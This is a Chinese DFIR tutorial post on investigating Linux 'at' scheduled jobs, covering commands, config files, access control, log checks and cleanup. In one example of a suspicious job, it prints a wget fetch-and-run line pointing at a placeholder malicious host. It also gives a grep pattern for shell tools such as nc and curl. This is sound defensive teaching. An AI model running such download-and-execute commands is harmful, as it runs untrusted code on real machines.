[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)

admin 2024年11月28日10:46:28评论13 views字数 2764阅读9分12秒阅读模式

[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)

🔖 在上一《[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)》中,我们入探讨了 cron 服务,从基础排查到隐藏任务的分析排查,这一节我们一块看看cron的小兄弟at服务

 0x00 免责声明

本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。

0x02 at 服务

2.1  基本概念及命令

一次性任务:通过 `at` 命令设置

1. 确定是否安装at服务

执行以下命令确认 `at` 是否已安装:

rpm -q at
dpkg -l | grep at

输出示例:

[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)

如果未安装,请使用以下命令安装:

yum install at

2. at服务的相关文件

执行以下命令查看相关配置文件及目录:

rpm -ql at | grep etc

文件说明

  • 用户控制文件
    • /etc/at.deny:拒绝用户列表(默认允许所有用户)。
    • /etc/at.allow:允许用户列表(优先级高于 at.deny,默认不存在)。
  • 服务文件
    • /etc/rc.d/init.d/atd:服务启动脚本( 在部分现代系统中可能被 systemd 替代)。
    • /etc/pam.d/atd:身份验证机制。
  • 命令和任务目录
    • /usr/bin/at:定义计划任务。
    • /usr/bin/atq:查看任务列表。
    • /usr/bin/atrm:删除计划任务。
    • /var/spool/at/:存储计划任务文本文件 [ 任务存储位置 ] (存储的任务是以时间戳命名的文本文件,其内容为任务的详细命令)🗝️

3.  at的常用命令🎊

命令

说明

at

创建一次性任务

at -latq

列出所有任务

at -datrm

删除指定任务

at -c <任务编号>

查看任务内容

4.at命令格式

以下是一些时间格式示例:

时间格式

示例

说明

具体时间

at 3:30pm

执行时间为当天下午 3:30

24 小时制

at 15:30

执行时间为 15:30

相对时间

at now+2min

当前时间开始延后 2 分钟执行

日期与时间

at 10:00 2024-12-12

在 2024 年 12 月 12 日上午 10 点执行

自定义日期格式

at -t 202412121000

在 2024 年 12 月 12 日上午 10 点执行

任务定义

输入任务内容后,按下 Ctrl+D 结束定义。

5. 访问控制规则

at 服务允许通过以下两个文件管理用户权限:

  1. /etc/at.allow:仅允许文件中指定用户使用服务(优先级高)。

  2. /etc/at.deny:拒绝文件中列出的用户(仅当 at.allow 不存在时生效)。

  3. 检查 at.allowat.deny,以防攻击者创建后门。[DFIR]

6. 定义计划任务

示例 :定义简单任务

1. 定义任务:

at now + 1min
2. 输入任务内容:
touch /tmp/example_file
<Ctrl+D>

3.2 排查处置

1. 查看当前系统at 队列

  • 使用 atq 查看所有已计划的 at 任务。

atq

# 输出示例:
1   2024-11-22 12:00 a user
  ○ 第一列:任务编号。
  ○ 第二列:任务计划时间。
  ○ 第三列:任务类型(a: 普通任务)。
  ○ 第四列:任务所属用户。

2. 检查at任务的具体内容

  • 使用 atrm 删除任务前,可以先通过 at -c 查看其内容。

at -c <任务编号>

# 示例:
at -c 1

#!/bin/sh
# executed by at(1) command
wget http://malicious-site.com/script.sh -O /tmp/malicious.sh && bash /tmp/malicious.sh

分析重点:

  • 检查是否包含敏感操作,如 wget、curl、bash、python 、nc 等可用于下载或执行恶意脚本的命令。
  • 注意任何未知 URL 或脚本路径。
  • 执行非正常脚本(如未知的 .sh 或 .py)。
  • Base64 编码形式可能隐藏恶意命令。

3. 搜索与at服务相关的日志

  • Debian/Ubuntu 系统
    at 服务日志通常记录在 /var/log/syslog 中。

grep 'atd' /var/log/syslog

# 示例输出:
Nov 22 10:00:01 hostname atd[12345]: Executing job 1 as user (username)
  • RHEL/CentOS 系统
    日志记录在
    /var/log/messages 中。

grep 'atd' /var/log/messages

分析重点:

- 确认任务是否由合法用户执行。
- 检查任务内容是否与预期一致。

4. 排查是否存在恶意用户创建的任务

  • 查看是否有普通用户创建了可疑任务:atq -u <用户名>

  • 检查 /var/spool/at 中是否有任务文件:ls -l /var/spool/at

5. 搜索任务内容中的可疑命令

结合关键字搜索所有任务文件:

grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|powershell|echo|eval|exec|chmod|chown|mkfifo|tcpdump)" /var/spool/at/*

6. 防范与清理

  1. 删除恶意任务:atrm <任务编号>

  2. 限制普通用户使用 at 命令:

    • 配置 /etc/at.allow 文件,仅允许特定用户使用 at:echo "root" > /etc/at.allow

    • 或者禁用 /etc/at.deny 文件中列出的用户。

7. 检查at服务状态

确认 at 服务是否已启用:
systemctl status atd
如果服务不需要使用,可以禁用:
systemctl disable atd

📝小结

本文深入探讨了Linux中的at服务,包括其基础使用和如何排查和处理at服务中的安全问题。

在下一期中,我们将探讨anacron和Systemd Timers的概念及其在应急排查中的应用。Anacron是一个周期性执行任务的系统,适合不常启动的系统。Systemd Timers则是Systemd的一部分,用于创建和管理定时器,以触发服务的执行。这些工具对于自动化任务和系统维护至关重要,对于系统管理员和安全人员来说,了解它们的工作原理和配置方法对于提高系统安全性和效率具有重要意义。

请继续关注,我们下期再会,不见不散!

END
[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)
{
    往期精彩回顾

   

}
认识正向代理、反向代理、正向 Shell 和反弹 Shell
Packer-Fuzzer:自动化API模糊提取与漏洞检测
Alibaba Nacos JWT令牌使用默认密钥浅析

原文始发于微信公众号(Y1X1n安全):[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月28日10:46:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [02]应急响应-Linux 计划任务与 DFIR 排查实践(二)https://cn-sec.com/archives/3443596.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息